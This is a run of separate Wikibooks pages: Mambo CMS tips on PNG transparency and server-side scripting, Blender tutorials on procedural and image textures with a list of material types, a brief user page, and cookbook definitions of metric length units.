There is a simple modification that needs to be done with the template(s) the site is using.

This can be done from mambo, as long as the appropriate files are writable. Log in to the backend. Choose "Site > Template Manager > Site templates". Choose the template that should be modified (naturally the standard template) and choose "edit" in the toolbar.

On the top of this document, add this line:

Then upload the "ie_png.php"-file in the "includes" folder of your mambo installation.

Fixing the images themselves
Internet Explorer (Win) can actually render some png-files - those with 256 colors. These images can contain any color in the HEX color scheme, but not more than 256 colors all together within the image. This is more than enough for most cases. Save/render the png images with this attribute, and Internet Explorer will actually render transparency.

There are some problems with transparent gradients, as fading shadows etc.

title: Mambo Open Source/PNG alpha


text:
Mambo Open Source/Server-side scripting

This article explains the concept of server side scripting, which is a key element in mambo.

What is server side scripting?
There are two major forms of scripting in web applications. One of them is client side scripting. This is scripts and code that is downloaded to the clients computer and is executed there. A good example of this is JavaScript and Flash. Here scripts are used to create animations, drop-down menus and other functions on the clients computer.

Server side scripting, on the opposite, keeps all the scripts on the server, and they are executed there. In this case, mambo is the script. Basically, the client sends a request to the server. The server, with mambo installed receives this request, and use the scripts on the server to create the page that the user has requested. Then, a finished version of the results of this program is sent to the user, with no scripts in it (except from the client side scripts that might follow with a mambo site).

title: Mambo Open Source/Server-side scripting


text:
Blender 3D: Noob to Pro/Procedural Textures

Procedural Textures

Texturing objects can be broken down into two categories: procedural and image texturing. Procedural texturing makes use of mathematical formulas to generate textures. This is nice because it can be used to make relatively nice looking textures without external images which are very temperamental where you put them. Procedural Textures are all stored in the .blend file. These textures are obviously generated within Blender itself. Image texturing uses images created or captured outside of Blender, either from an image manipulation program such as the Paint.NET, GIMP or Photoshop, or captured on a camera. We have already learned about image texturing, so let's move on to procedural texturing.

Current Procedural Textures

Blender currently supports many procedural textures, including: Clouds, Marble, Stucci, Wood, Magic, Blend, Noise, Musgrave, Voronoi and DistortedNoise.

A Simple Wood Texture
Let's define a simple wood texture:

 * Start a new Blender document containing the default cube.
 * Select the cube (and nothing else).
 * In the Properties window, go to the World tab [[File:Blender255WorldContextButton.png]] and turn on Environment Lighting (you can leave its default energy at 1.0).
 * Go to the Materials tab [[File:Blender255MaterialContextButton.png]], and rename the default "Material" to "Wood Material". Alternatively, delete the default material using the X to the right of the name field and add a new material.

Let's add some color and texture. You can see the results at any time by pressing F12 to re-render the scene.

Start by painting the cube a base color using the Wood Material's "diffuse" color: See http://en.wikipedia.org/wiki/HSL_and_HSV for where brown fits in the color wheel.
 * In the “Material” tab,
 * Scroll down to the “Diffuse” properties panel and choose a darker brown color e.g. #A57E3F.

Next, let's add a texture to give the material some highlights.
 * Switch to the “Texture” properties tab [[File:Blender259_Texture_Button.png]], and again rename the default "Tex" to "Wood Texture" or create a new texture. Notice at the very top of the "Texture" tab "Cube > Wood Material > Wood Texture"
 * Change the Type of the material to “Wood” using the pop-up menu.

The texture sample will show parallel alternating black and white bars that don’t look very woody at all. Never fear! The black regions will be the material's base "diffuse" color. The white regions are like "highlights" that will be painted over the base.

Let's make some improvements to the texture: Now the texture sample should show something resembling wavy tree-rings. If you hit F12 to render now, you will see these rings covering your cube, except a) the colour is wrong, and b) normal wood patterns aren't so nearly circular.
 * While still in the “Textures” tab,
 * Scroll to the “Wood” properties panel that appears, change the waveform from “Sine” to “Saw”.
 * In the next row of buttons down, change the type from the default “Bands” to “Ring Noise”.
 * Increase the Noise Size to 1.0.

To make the pattern more elongated:
 * Scroll to the “Mapping” properties panel,
 * Change the Size X value to 2.0 and Y to 0.4. This squishes the pattern down along the X-axis, and stretches it out along the Y-axis, giving the elliptical tree-ring shapes you commonly see on wood planks and boards.

Hit F12 to render again, and the shape of the texture should be looking a lot more woody now.

The final step is to color the highlights in the texture: For a nicer effect, I chose a very light brown e.g. #DEB887.
 * In the “Textures” tab,
 * Scroll to the “Influence” properties panel further down,
 * Click on the color swatch, and choose a nice brown colour.

The result should look very woody indeed!

 * Remember that you need to Render to see the wood grain on your object.


text:
Blender 3D: Noob to Pro/Image Textures

Image Texture Settings
To understand how the texture settings apply to image/movie textures, start with an example texture. A nice simple one is this checkerboard at right—don’t forget to download it in (or convert it to) PNG format, as Blender cannot use an SVG file as a texture.

Start a new Blender document. Note the default cube already has a a default grey material, called “Material”, and this already has a single texture, called “Tex”, of type “None”, which means it has no effect.

Under the Texture context of the Properties window, with Material Texture  selected, change the texture type to “Image or Movie”. You will immediately see some new panels pop up in the texture context. Look for the Image panel, as at right. This initially contains a popup menu icon for selecting from any previously-loaded images (this will start out empty), a “New” button for using one of Blender’s predefined test textures, and an “Open” button for loading an image from a file.

Click the “Open” button, and select your previously-downloaded or converted PNG version of the example checkerboard texture.

Now a whole lot more settings will become visible. From the top, the panels are:
 * Preview — gives you a simple display of how the texture looks.
 * Colors — lets you make simple adjustments to the image brightness, contrast etc.
 * Image — lets you choose from any already-loaded images, and shows you the pathname of the file the image was loaded from. Note the two arrows in a circle to the right of the pathname display: clicking this will tell Blender to reload the image from the file, which is useful if you make changes to it in an external image editor.
 * Image Sampling — controls how the image can be interpreted in a different way from straight pixel values.
 * Image Mapping — lets you crop the input image, and apply fixed numbers of repetitions to it along each axis, even before it goes through the usual texture-tiling repetition process.
 * Mapping, Influence — these are more general panels that apply to all types of textures. They will be discussed in more detail shortly.

If you render now, you should end up with an image like this. Notice in the Projection menu (Texture → Mapping) the initial selection is “Flat”: this means that the texture X and Y coordinates go straight to object X and Y coordinates. Thus, the texture only appears on the top (and also bottom) of the cube, not on its sides. See also the three little popup menus just below the Projection menu, each containing the items X, Y and Z. These let you rearrange the object coordinates that the texture coordinates map to. If you change the first two, you can get the texture to appear on other pairs of sides of the cube, other than the top and bottom. The third menu (corresponding to the Z axis of the texture) has no effect (yet), because a flat image texture is only two-dimensional.

Now try changing the three “Size” fields in the Mapping panel: give them all a value of 3. This will uniformly shrink the texture pattern to one-third of its original size. Or alternatively, it will require three times the number of texture repetitions to span the same distance as the original.

Now let’s try the other Projection types. Here’s what “Sphere” looks like. Imagine the texture pattern as a flat sheet stretched and curved around, and its edges joined to form a sphere surrounding the actual object; then the sphere is shrinkwrapped down onto the object.

Note the top and bottom edges of the sheet shrink down to single points at the north and south poles; this is why the squares of the checkerboard pattern turn into triangles next to these points.

Here’s a Tube mapping. Here the texture pattern sheet is rolled round into a cylinder, with only one pair of edges joined together, the top and bottom left open.

And lastly, here is a Cube mapping. Here 6 copies of the texture pattern are arranged parallel to the faces of a cube, before being shrinkwrapped onto the actual object. Which in this case, happens to be a cube.

Cube mappings are very commonly used in game engines, because they are just about the simplest way to wrap a texture around an entire object.

Making Your Own Texture
Procedural texturing is very powerful; however, sometimes it is difficult or impossible to generate the desired realism with them. Image texturing is there for you when you need it. To review, the basic idea is to take an outside image and wrap it around your model. You can use any texture, or a seamless one if you want it to repeat to get a tiled effect. The following shows how you create a seamless texture, and then how to apply any texture (seamless or otherwise) to an object.

The difference between 'tiled' and 'seamless'
In many cases a simple material will just not cut it for an object, and you will want to apply a texture to it. However, depending on the object, you may want to apply either a seamless or tileable texture. A seamless texture is an image that will, when applied to an object, spread evenly across the surface of the object without any visible borders or 'seams' even if the object is many times larger than the resolution of the image (also called 'procedural textures' in Blender). These can be useful in many situations; such as when you want a texture for a carpet to seamlessly repeat itself without having a huge resolution.

A tileable texture on the other hand, is an image that will repeat itself across an object, but with noticeable seams. Any image can be used as a tileable texture, but often they will only be used in specific instances such as a vinyl floor with a tiled pattern on it.

See Using Textures for more details on applying images as textures, and using them to affect many other surface attributes such as luminosity, reflectivity, translucency, displacement etc.

How to make a tileable texture with the GIMP

It is easy to create a tiling texture image with the GIMP. Start with the photo you want to use. Crop out any part you don’t want. Here’s an example random photo of some plants in my garden:

Go to Gimp’s “Filters” menu, and find the “Map” submenu. In here you will find the entry “Make Seamless”. Select it. That’s it:

Just to prove it works, here’s a (scaled-down) use of the result as a tiled fill pattern:

Other Image Texture Editors

 * Wood Workshop A free utility (Requires Operating System: Windows 2000/XP) that generates surprisingly high quality tiling wood texture images. These textures can be exported as standard image files for use within Blender.
 * MapZone A free utility for Windows (works perfectly in Wine) that generates node based procedural texture maps. Mapzone can export diffuse, normal and alpha texture maps as standard image files.  It can also import SVG regions created with Blender's UV mapping tools.

title: Blender 3D: Noob to Pro/Image Textures


text:
Blender 3D: Noob to Pro/The Rusty Ball

Making objects with image textures is not really hard for simple objects like balls, cubes, and tubes. I'll show you how to do this:

 * 1) Make a new scene in Blender and delete the default cube.
 * 2) Add a sphere.  Apply a Subsurf modifier and Smooth as we have learned in previous tutorials.
 * 3) Find a file picture that you want to apply to your object.  Check Flickr for something like "rust texture."  (If you are going to share it, be sure you check the license of the texture you download.)
 * 4) IMPORTANT: Sometimes you need a seamless texture.  If you are not sure, use a program such as GIMP.  Use FILTERS > MAP > MAKE SEAMLESS.  Usually this works well but if your texture turns into gorp, try another one.
 * 5) (Noob Note: Do search for Rust Textures  if you do not have one handy.'')
 * 6) In the Properties Panel, which by default is the bottom right panel, select the Material icon [[File:Blender268TextureIconMaterial.png]].
 * 7) Select NEW or if you already have a material in use, select the + sign to add a new material.  Give it a good name like rustyball.
 * 8) Click on the Texture Icon [[File:Blender268TextureIconBrush.png]].
 * 9) Click NEW or if you already have a texture loaded, click on the + to add a new one.  Give it a good name like RUST.
 * 10) The default type is CLOUDS.  Pull down the menu and change it to IMAGE OR MOVIE.
 * 11) Go to the IMAGE section, choose OPEN.  New options will become available. (Note: JPGs, PNGs or TGAs are recommended for Blender. Bitmaps tend to get all screwy.)
 * 12) Under Source: Click the folder icon and navigate to your image.
 * 13) Scroll down.  In the Image Mapping area are some options that you may need to try.  If your image is small it may have to be repeated in the X or Y directions.
 * 14) In the Mapping section (yes, one section is Image Mapping and the other is just Mapping) after Projection, choose the shape closest to your object.  If you are using a sphere like the example, then choose ... you guessed it ... SPHERE.
 * The Preview often looks a bit odd and stripey, but render your project and it should look very nice.
 * This method works for all sorts of things. Try making a brick wall with a wooden gate using Flickr textures or go back to the Jeep tutorial and put a pattern on your jeep.
 * You can also render videos onto objects using this method. Just select a movie in the "Load image" dialog and enable the option "Movie" at the textures buttons.  NOTE: Blender ONLY works with Full Resolution video, not video which has been compressed using a codec.  Most video software will allow you to export video as "full frames" or "no compression".  Experiment a bit!

title: Blender 3D: Noob to Pro/The Rusty Ball


text:
Blender 3D: Noob to Pro/Every Material Known to Man

"Every Single Material Known To Man" Project
Want to share your material settings with the world? This is the place! This page is going to be turning from a page to a chapter, but to do that we need your support! If you have an idea for a material, even if you don't know how to make it, just put it in the list to help! Someone out there knows how to make it, and if they come across this page with it listed, they might be willing to share.

Etiquette

 * Explain the basics of every material (such as Color, Spec, and shading, but not necessarily specifics such as Emit or Trans), even if it is with standard "Add New" properties.
 * IF you provide a picture, explain in the method all details to get us to make ours look the exact same way, do not omit any detail (including anything done in out tabs, or in other categories like Rendering. Also, say if you use something like RayMir or if you have additional lighting or objects to enhance the look!.)
 * Make sure you explain the "Tab" and the "Category" for a material alterations, because not everyone might know what you mean. Be as formal as possible, categorize and organize, and try using the blender-used words instead of your own lingo, if possible.

Example:
 * Bad explanation:Set the material's texture's normal to 0.4
 * Good explanation:Under the "Map To" Tab, Select the "Nor" Slider and set it to 0.4
 * Best explanation:
 * Map To:
 * Output- Nor
 * NorSlider- 0.4

 * Do NOT replace or delete other people's method on your own. If you believe you have a better way, simply label their explanation "Method A" and create another sub-headline with your method as "Method B" (and so on). If you believe a method is incorrect, insufficiently detailed or plagiarism, appeal to the original author (if able) or on the Discussion page and get support for a removal.
 * Do NOT say your material is better than anyone elses-- everyone has a right to their own opinion and preferences --you may say your method is more "detailed" or "memory-efficient" or "adaptable", but DO NOT SLANDER other people's methods.
 * Add or link the texture image file (png), if there is.
 * Add or link a render example image of the material (just a sphere or a cube or a monkey) with a background for contrast.

Metals and Minerals

 * /Alloy/
 * /Asphalt/
 * /Brass/
 * /Brick/
 * /Bronze/
 * /Cast Iron/
 * /Ceramic/
 * /Chrome/
 * /Glass/
 * /Gold/
 * /Iron/
 * /Concrete/
 * /Copper/
 * /Hard Plastic/
 * /Linoleum/
 * /Marble/
 * Reflectives
 * /Modeling Clay/
 * /Rubber/
 * /Rust/
 * /Steel/
 * /Tile/
 * /Trampoline material/
 * /Realistic Silver/
 * /Jewels/

Cloth and Fabrics

 * /Cotton/
 * /Silk/
 * /Leather/
 * /Spandex/
 * /Wool/
 * /Carpet/
 * /Denim/
 * /Mothball/
 * /Lace/
 * /Dusted Latex/
 * /Glossy Latex/
 * /Felt/
 * /Kevlar/
 * /Snake Skin/
 * /Velvet/

Particle-Based

 * /Fire/
 * /Smoke/
 * /Fog/
 * /Feathers/
 * Fur
 * /Rain/
 * /Mist/
 * Grass (Patch)

Earth and Home

 * /Moss/
 * /Water/
 * /Soil/
 * Grass (Strand)
 * /Woods/
 * Textured Ceiling
 * Textured Wall
 * Paint (Matte)
 * Paint (Gloss)
 * /Sand/

SSS-Used

 * /Crayon/
 * /Wax/
 * /Fruit Skin/
 * /Milk/
 * /Juice/

Other

 * /Lunar Surface/
 * /Bubbles/

Abstract

 * Light Effects
 * Misty Globe

Mammal

 * Human Skin
 * /Head Hair/
 * Other Hair
 * Human Teeth
 * /Bone/
 * /Blood/
 * General Organ Skin

Elemental

 * /Selenium/
 * /Mercury/

External material libraries
Additional materials can be found at:
 * Blender Open Material Repository
 * Copper, Brass, Platinum, Silver
 * Fire, Snow, Carbon Fibre
 * Glass, Chrome, Gold, Brushed Alloy


text:
User:Dinero~enwikibooks

This is Dinero, Col Stewart, interested in all things Wikipedia, ya huurd.

title: User:Dinero~enwikibooks


text:
Cookbook:Mm

The mm, is the symbol for millimetre (millimeter in US spelling), which is an [SI unit of measurement for length. It is equal to 1/1000 m. There are 25.4 mm per inch. There are 10 mm per cm.

As many recipes have been crudely converted from one system to another, a similarly crude conversion back may yield the original recipe.

title: Cookbook:Mm


text:
Cookbook:Centimetre (cm)

The cm is the symbol for centimetre (centimeter in United States spelling), which is an SI unit of measurement for length. It is equal to 1/100 m. There are 2.54 cm per inch. There are 10 mm per cm.

As many recipes have been crudely converted from one system to another, a similarly crude conversion back may yield the original recipe.

title: Cookbook:Centimetre (cm)


text:
Cookbook:Metre (m)

The m, is the symbol for metre (meter in US spelling), which is the SI base unit of measurement for length. It is equal to 100 cm, which is about 39.37 inches. This is roughly 3 and 1/4 feet.

title: Cookbook:Metre (m)